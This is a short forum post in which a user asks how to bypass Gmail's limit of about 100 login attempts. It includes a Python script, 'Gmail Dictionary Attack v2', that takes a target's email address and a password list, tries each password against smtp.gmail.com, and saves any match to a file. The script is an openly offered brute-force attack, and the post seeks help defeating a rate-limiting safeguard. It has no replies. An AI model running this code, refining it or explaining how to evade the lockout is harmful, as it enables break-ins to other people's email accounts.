Forum Thread: Can We Bypass Gmail's 100 Tries? PYTHON

#I HAVE THIS CODE BUT ONCE I RUN I ONLY GET TO TRY THE FIRST 100 PASSWORDS ONLY, AND THEN THE PROGRAM SHUTSDOWN

# Program: Gmail Dictionary Attack v2
# Author: RiseX
# Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.

import smtplib
import pathlib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = input("Enter the target's email address: ")
pathlib.Path("email.txt").write_text("%s" % user)
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
try:
smtpserver.login(user, password)
print("+ Password Found: %s" % password)
pathlib.Path("password.txt").write_text("The pass is %s" % password)
exit()

except smtplib.SMTPAuthenticationError:
print("! Password Incorrect: %s" % password)

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active